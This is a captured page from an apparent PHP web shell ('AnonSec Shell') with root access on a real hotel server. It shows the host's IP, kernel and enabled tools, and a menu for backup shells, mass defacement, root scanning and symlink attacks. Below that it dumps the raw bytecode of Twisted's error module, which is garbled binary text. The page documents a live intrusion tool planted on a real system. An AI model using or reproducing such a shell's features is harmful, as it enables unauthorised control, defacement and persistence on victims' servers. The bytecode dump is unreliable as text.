AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/internet/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/twisted/internet/__pycache__/error.cpython-310.pyc
o

�b�4�@sjdZddlZddlmZddlmZGdd�de�ZGdd�de�ZGd	d
�d
e�Z	Gdd�de�Z
Gd
d�de�ZGdd�de�Z
Gdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd �d e�ZGd!d"�d"e�ZGd#d$�d$e�ZGd%d&�d&e�ZGd'd(�d(e�ZGd)d*�d*e�ZGd+d,�d,e�Zz ddlZejeejeejeiZ e!ed-�r�ee ej"<ee ej#<Wne$y�iZ Ynwd.d/�Z%Gd0d1�d1e�Z&Gd2d3�d3e&�Z'Gd4d5�d5e'�Z(Gd6d7�d7e&�Z)Gd8d9�d9e'�Z*Gd:d;�d;e'�Z+Gd<d=�d=e,�Z-Gd>d?�d?e,�Z.Gd@dA�dAe/�Z0e�1edBdCdd�dDe2dA�GdEdF�dFe)�Z3GdGdH�dHe'�Z4GdIdJ�dJe�Z5GdKdL�dLe6�Z7GdMdN�dNe6�Z8GdOdP�dPe6�Z9GdQdR�dRe6�Z:GdSdT�dTe6�Z;GdUdV�dVe<�Z=GdWdX�dXe�Z>GdYdZ�dZe�Z?Gd[d\�d\e�Z@Gd]d^�d^e�ZAGd_d`�d`e�ZBGdadb�dbe,�ZCgdc�ZDdS)dz<
Exceptions and errors for use in twisted.internet modules.
�N)�Version)�	deprecatec@�"eZdZdZZdefdd�ZdS)�	BindErrorz)An error occurred binding to an interface�returncC�,|j}|jrd�|d�|j��}d|}|S�Nz{}: {}� �%s.��MESSAGE�args�format�join��self�s�r�8/usr/lib/python3/dist-packages/twisted/internet/error.py�__str__�
zBindError.__str__N��__name__�
__module__�__qualname__�__doc__r�strrrrrrr�rc@s&eZdZdZdd�Zdefdd�ZdS)�CannotListenErrora2
    This gets raised by a call to startListening, when the object cannotstart
    listening.

    @ivar interface: the interface I tried to listen on
    @ivar port: the port I tried to listen on
    @ivar socketError: the exception I got when I tried to listen
    @type socketError: L{socket.error}
    cCs&t�||||�||_||_||_dS�N)r�__init__�	interface�port�socketError)rr!r"r#rrrr &s
zCannotListenError.__init__rcCs|jpd}d�||j|j�S)N�anyzCouldn't listen on {}:{}: {}.)r!rr"r#)r�ifacerrrr,s

�zCannotListenError.__str__N)rrrrr rrrrrrrs
rc@�eZdZdZdS)�MulticastJoinErrorz6
    An attempt to join a multicast group failed.
    N�rrrrrrrrr'3�r'c@r)�MessageLengthErrorzMessage is too long to sendrcCrrrrrrrr<rzMessageLengthError.__str__Nrrrrrr*9rr*c@r)�DNSLookupErrorzDNS lookup failedrcCrrrrrrrrGrzDNSLookupError.__str__Nrrrrrr+Drr+c@r&)�ConnectInProgressErrorz3A connect operation was started and isn't done yet.Nr(rrrrr,Or)r,c@s,eZdZdZZd	dd�Zdefdd�ZdS)
�ConnectErrorz"An error occurred while connectingN�cCs||_t�||�dSr)�osError�	Exceptionr )rr/�stringrrrr YszConnectError.__init__rcCsF|j}|jr|�d|j��}|jdr|�d|jd��}d|}|S)N�: rr
)rr/r
rrrrr]s
zConnectError.__str__)Nr.)rrrrrr rrrrrrr-Vs
r-c@�eZdZdZZdS)�ConnectBindErrorz
Couldn't bindN�rrrrrrrrrr4g�r4c@r3)�UnknownHostErrorzHostname couldn't be looked upNr5rrrrr7kr6r7c@r3)�NoRouteErrorzNo route to hostNr5rrrrr8or6r8c@r3)�ConnectionRefusedErrorz$Connection was refused by other sideNr5rrrrr9sr6r9c@r3)�TCPTimedOutErrorzTCP connection timed outNr5rrrrr:wr6r:c@r3)�BadFileErrorz$File used for UNIX socket is no goodNr5rrrrr;{r6r;c@r3)�ServiceNameUnknownErrorz%Service name given as port is unknownNr5rrrrr<r6r<c@r3)�	UserErrorzUser aborted connectionNr5rrrrr=�r6r=c@r3)�TimeoutErrorz&User timeout caused connection failureNr5rrrrr>�r6r>c@r3)�SSLErrorzAn SSL error occurredNr5rrrrr?�r6r?c@r3)�VerifyErrorz:Could not verify something that was supposed to be signed.Nr5rrrrr@�r6r@c@r3)�PeerVerifyErrorz#The peer rejected our verify error.Nr5rrrrrA�r6rAc@r3)�CertificateErrorz<We did not find a certificate where we expected to find one.Nr5rrrrrB�r6rB�WSAECONNREFUSEDcCsrt|t�r	|j}n|}z|\}}Wntyt|d�YSwttd�r.t|tj�r.t}nt	�
|t�}|||�S)z2Given a socket exception, return connection error.)r1�gaierror)�
isinstancer0r
�
ValueErrorr-�hasattr�socketrDr7�errnoMapping�get)�er
�numberr1�klassrrr�getConnectError�s
�
rNc@r&)�ConnectionClosedz@
    Connection was closed, whether cleanly or non-cleanly.
    Nr(rrrrrO�r)rOc@r)�ConnectionLostzF
    Connection to the other side was lost in a non-clean fashion
    rcCsL|j����dd�}|jr|�d�|�d�|j��|�d�d�|�S)N�r2r	�.r.)r�strip�
splitlinesr
�appendrrrrrr�s


zConnectionLost.__str__NrrrrrrP�srPc@�eZdZdZdZdS)�ConnectionAbortedz�
    Connection was aborted locally, using
    L{twisted.internet.interfaces.ITCPTransport.abortConnection}.

    @since: 11.1
    zBConnection was aborted locally using ITCPTransport.abortConnectionNr5rrrrrW�srWc@r)�ConnectionDonezConnection was closed cleanlyrcCrrrrrrrr�rzConnectionDone.__str__NrrrrrrX�rrXc@rV)�FileDescriptorOverrunaw
    A mis-use of L{IUNIXTransport.sendFileDescriptor} caused the connection to
    be closed.

    Each file descriptor sent using C{sendFileDescriptor} must be associated
    with at least one byte sent using L{ITransport.write}.  If at any point
    fewer bytes have been written than file descriptors have been sent, the
    connection is closed with this exception.
    zRA mis-use of IUNIXTransport.sendFileDescriptor caused the connection to be closed.Nr5rrrrrY�s�rYc@r3)�ConnectionFdescWentAway�UhNr5rrrrrZ�r6rZc@r)�
AlreadyCalledz'Tried to cancel an already-called eventrcCrrrrrrrrrzAlreadyCalled.__str__Nrrrrrr\�rr\c@r)�AlreadyCancelledz*Tried to cancel an already-cancelled eventrcCrrrrrrrrrzAlreadyCancelled.__str__Nrrrrrr]rr]c@rV)�PotentialZombieWarningz�
    Emitted when L{IReactorProcess.spawnProcess} is called in a way which may
    result in termination of the created child process not being reported.

    Deprecated in Twisted 10.0.
    z�spawnProcess called, but the SIGCHLD handler is not installed. This probably means you have not yet called reactor.run, or called reactor.run(installSignalHandler=0). You will probably never see this process finish, and it may become a zombie process.Nr5rrrrr^s�r^�Twisted�
z4There is no longer any potential for zombie process.c@seZdZdZZdd�ZdS)�ProcessDonez+A process has ended without apparent errorscCs"t�|d�d|_d|_||_dS)Nz!process finished with exit code 0r)r0r �exitCode�signal�status)rrdrrrr 0s
zProcessDone.__init__N�rrrrrr rrrrra-srac@seZdZdZZddd�ZdS)�ProcessTerminatedz�
    A process has ended with a probable error condition

    @ivar exitCode: See L{__init__}
    @ivar signal: See L{__init__}
    @ivar status: See L{__init__}
    NcCsN||_||_||_d}|dur|d|}|dur|d|}t�||�dS)a�
        @param exitCode: The exit status of the process.  This is roughly like
            the value you might pass to L{os._exit}.  This is L{None} if the
            process exited due to a signal.
        @type exitCode: L{int} or L{None}

        @param signal: The exit signal of the process.  This is L{None} if the
            process did not exit due to a signal.
        @type signal: L{int} or L{None}

        @param status: The exit code of the process.  This is a platform
            specific combination of the exit code and the exit signal.  See
            L{os.WIFEXITED} and related functions.
        @type status: L{int}
        z
process endedNz with exit code %sz
 by signal %s)rbrcrdr0r )rrbrcrdrrrrr @szProcessTerminated.__init__)NNNrerrrrrf7srfc@r&)�ProcessExitedAlreadyzd
    The process has already exited and the operation requested can no longer
    be performed.
    Nr(rrrrrg[r)rgc@r)�NotConnectingErrorzEThe Connector was not connecting when it was asked to stop connectingrcCrrrrrrrrgrzNotConnectingError.__str__Nrrrrrrhbs
�rhc@r)�NotListeningErrorz>The Port was not listening when it was asked to stop listeningrcCrrrrrrrrrrzNotListeningError.__str__Nrrrrrriorric@r&)�ReactorNotRunningzJ
    Error raised when trying to stop a reactor which is not running.
    Nr(rrrrrjzr)rjc@r&)�ReactorNotRestartablezF
    Error raised when trying to run a reactor which was stopped.
    Nr(rrrrrk�r)rkc@r&)�ReactorAlreadyRunningzG
    Error raised when trying to start the reactor multiple times.
    Nr(rrrrrl�r)rlc@r&)�ReactorAlreadyInstalledErrorzE
    Could not install reactor because one is already installed.
    Nr(rrrrrm�r)rmc@�eZdZdZdd�ZdS)�ConnectingCancelledErrorz�
    An C{Exception} that will be raised when an L{IStreamClientEndpoint} is
    cancelled before it connects.

    @ivar address: The L{IAddress} that is the destination of the
        cancelled L{IStreamClientEndpoint}.
    cCst�||�||_dS)z�
        @param address: The L{IAddress} that is the destination of the
            L{IStreamClientEndpoint} that was cancelled.
        N)r0r �address)rrprrrr �s
z!ConnectingCancelledError.__init__N�rrrrr rrrrro��roc@r&)�
NoProtocolz�
    An C{Exception} that will be raised when the factory given to a
    L{IStreamClientEndpoint} returns L{None} from C{buildProtocol}.
    Nr(rrrrrs�r)rsc@r&)�UnsupportedAddressFamilyz�
    An attempt was made to use a socket with an address family (eg I{AF_INET},
    I{AF_INET6}, etc) which is not supported by the reactor.
    Nr(rrrrrt�r)rtc@r&)�UnsupportedSocketTypez�
    An attempt was made to use a socket of a type (eg I{SOCK_STREAM},
    I{SOCK_DGRAM}, etc) which is not supported by the reactor.
    Nr(rrrrru�r)ruc@r&)�AlreadyListenedzd
    An attempt was made to listen on a file descriptor which can only be
    listened on once.
    Nr(rrrrrv�r)rvc@rn)�InvalidAddressErrorz�
    An invalid address was specified (i.e. neither IPv4 or IPv6, or expected
    one and got the other).

    @ivar address: See L{__init__}
    @ivar message: See L{__init__}
    cCs||_||_dS)z�
        @param address: The address that was provided.
        @type address: L{bytes}
        @param message: A native string of additional information provided by
            the calling context.
        @type address: L{str}
        N)rp�message)rrprxrrrr �s
zInvalidAddressError.__init__Nrqrrrrrw�rrrw)(rrr'r*r+r,r-r4r7r8r9r:r;r<r=r>r?r@rArBrNrOrPrXrZr\r]r^rarfrgrhrirjrlrmrortrurw)ErrH�incrementalr�twisted.pythonrr0rrr'r*�IOErrorr+r,r-r4r7r8r9r:r;r<r=r>r?r@rArB�errno�ENETUNREACH�ECONNREFUSED�	ETIMEDOUTrIrGrC�WSAENETUNREACH�ImportErrorrNrOrPrWrXrYrZrFr\r]�Warningr^�deprecatedModuleAttributerrarfrg�RuntimeErrorrhrirjrkrl�AssertionErrorrmrorsrtrurvrw�__all__rrrr�<module>s��


���
$


Anon7 - 2022
AnonSec Team